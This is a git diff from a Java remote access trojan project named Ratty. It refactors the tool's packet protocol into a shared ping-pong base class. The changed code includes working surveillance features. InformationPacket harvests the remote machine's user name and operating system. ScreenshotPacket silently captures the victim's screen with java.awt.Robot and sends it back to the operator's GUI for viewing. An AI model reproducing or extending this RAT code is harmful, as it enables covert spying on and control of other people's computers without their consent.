diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 1e18d3a..b654554 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -8,7 +8,7 @@ import javax.swing.plaf.nimbus.NimbusLookAndFeel; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.gui.RattyGui; -import de.sogomn.rat.server.gui.ServerGuiController; +import de.sogomn.rat.server.gui.RattyGuiController; public final class Ratty { @@ -53,7 +53,7 @@ public final class Ratty { public static void startServer(final int port) { final ActiveServer server = new ActiveServer(port); final RattyGui gui = new RattyGui(); - final ServerGuiController controller = new ServerGuiController(gui); + final RattyGuiController controller = new RattyGuiController(gui); server.setObserver(controller); server.start(); diff --git a/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java b/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java index 56009dd..e030ee5 100644 --- a/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java @@ -4,28 +4,58 @@ import de.sogomn.rat.ActiveClient; public abstract class AbstractPingPongPacket implements IPacket { - private byte type; + protected byte type; public static final byte REQUEST = 0; public static final byte DATA = 1; + public AbstractPingPongPacket(final byte type) { + this.type = type; + } + public AbstractPingPongPacket() { - type = REQUEST; + this(REQUEST); } + protected abstract void sendRequest(final ActiveClient client); + + protected abstract void sendData(final ActiveClient client); + + protected abstract void receiveRequest(final ActiveClient client); + + protected abstract void receiveData(final ActiveClient client); + protected abstract void executeRequest(final ActiveClient client); protected abstract void executeData(final ActiveClient client); + @Override + public final void send(final ActiveClient client) { + client.writeByte(type); + + if (type == REQUEST) { + sendRequest(client); + } else if (type == DATA) { + sendData(client); + } + } + + @Override + public final void receive(final ActiveClient client) { + type = client.readByte(); + + if (type == REQUEST) { + receiveRequest(client); + } else if (type == DATA) { + receiveData(client); + } + } + @Override public final void execute(final ActiveClient client) { if (type == REQUEST) { - type = DATA; - executeRequest(client); } else if (type == DATA) { - type = REQUEST; - executeData(client); } } diff --git a/Ratty/src/de/sogomn/rat/packet/InformationPacket.java b/Ratty/src/de/sogomn/rat/packet/InformationPacket.java index c52b505..00bfa4f 100644 --- a/Ratty/src/de/sogomn/rat/packet/InformationPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/InformationPacket.java @@ -3,15 +3,10 @@ package de.sogomn.rat.packet; import de.sogomn.rat.ActiveClient; import de.sogomn.rat.Ratty; -public final class InformationPacket implements IPacket { +public final class InformationPacket extends AbstractPingPongPacket { private String name, os, version; - private byte type; - - private static final byte REQUEST = 0; - private static final byte DATA = 1; - public InformationPacket(final String name, final String os, final String version) { this.name = name; this.os = os; @@ -27,30 +22,42 @@ public final class InformationPacket implements IPacket { } @Override - public void send(final ActiveClient client) { + protected void sendRequest(final ActiveClient client) { + //... + } + + @Override + protected void sendData(final ActiveClient client) { client.writeUTF(name); client.writeUTF(os); client.writeUTF(version); - client.writeByte(type); } @Override - public void receive(final ActiveClient client) { + protected void receiveRequest(final ActiveClient client) { + //... + } + + @Override + protected void receiveData(final ActiveClient client) { name = client.readUTF(); os = client.readUTF(); version = client.readUTF(); - type = client.readByte(); } @Override - public void execute(final ActiveClient client) { - if (type == REQUEST) { - final String name = System.getProperty("user.name"); - final String os = System.getProperty("os.name"); - final InformationPacket packet = new InformationPacket(name, os, Ratty.VERSION); - - client.addPacket(packet); - } + protected void executeRequest(final ActiveClient client) { + type = DATA; + name = System.getProperty("user.name"); + os = System.getProperty("os.name"); + version = Ratty.VERSION; + + client.addPacket(this); + } + + @Override + protected void executeData(final ActiveClient client) { + //... } public String getName() { diff --git a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java index 80658cb..5967e6f 100644 --- a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java @@ -16,15 +16,10 @@ import de.sogomn.engine.Screen; import de.sogomn.engine.Screen.ResizeBehavior; import de.sogomn.rat.ActiveClient; -public final class ScreenshotPacket implements IPacket { +public final class ScreenshotPacket extends AbstractPingPongPacket { private BufferedImage image; - private byte type; - - private static final byte REQUEST = 0; - private static final byte DATA = 1; - private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB); private static final int SCREEN_WIDTH = 500; private static final int SCREEN_HEIGHT = 500; @@ -42,13 +37,12 @@ public final class ScreenshotPacket implements IPacket { } @Override - public void send(final ActiveClient client) { - client.writeByte(type); - - if (type == REQUEST) { - return; - } - + protected void sendRequest(final ActiveClient client) { + //... + } + + @Override + protected void sendData(final ActiveClient client) { final ByteArrayOutputStream out = new ByteArrayOutputStream(); try { @@ -64,13 +58,12 @@ public final class ScreenshotPacket implements IPacket { } @Override - public void receive(final ActiveClient client) { - type = client.readByte(); - - if (type == REQUEST) { - return; - } - + protected void receiveRequest(final ActiveClient client) { + //... + } + + @Override + protected void receiveData(final ActiveClient client) { final int length = client.readInt(); final byte[] data = new byte[length]; @@ -88,35 +81,42 @@ public final class ScreenshotPacket implements IPacket { } @Override - public void execute(final ActiveClient client) { - if (type == REQUEST) { - final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize(); - final Rectangle screenRect = new Rectangle(screen); - - try { - final Robot robot = new Robot(); - - image = robot.createScreenCapture(screenRect); - type = DATA; - } catch (final AWTException ex) { - ex.printStackTrace(); - } - - client.addPacket(this); - } else if (type == DATA) { - final int width = image.getWidth(); - final int height = image.getHeight(); + protected void executeRequest(final ActiveClient client) { + final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize(); + final Rectangle screenRect = new Rectangle(screen); + + try { + final Robot robot = new Robot(); - final Screen screen = new Screen(width, height); + type = DATA; + image = robot.createScreenCapture(screenRect); + } catch (final AWTException ex) { + image = NO_IMAGE; - screen.addListener(g -> { - g.drawImage(image, 0, 0, width, height, null); - }); - screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); - screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); - screen.show(); - screen.redraw(); + ex.printStackTrace(); } + + client.addPacket(this); + } + + @Override + protected void executeData(final ActiveClient client) { + final int width = image.getWidth(); + final int height = image.getHeight(); + + final Screen screen = new Screen(width, height); + + screen.addListener(g -> { + g.drawImage(image, 0, 0, width, height, null); + }); + screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); + screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); + screen.show(); + screen.redraw(); + } + + public BufferedImage getImage() { + return image; } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java similarity index 91% rename from Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java rename to Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 4ace8bc..25c0f6b 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -12,14 +12,14 @@ import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.IServerObserver; -public final class ServerGuiController implements IServerObserver, IClientObserver, IGuiController { +public final class RattyGuiController implements IServerObserver, IClientObserver, IGuiController { private RattyGui gui; private ArrayList clients; private long nextId; - public ServerGuiController(final RattyGui gui) { + public RattyGuiController(final RattyGui gui) { this.gui = gui; clients = new ArrayList();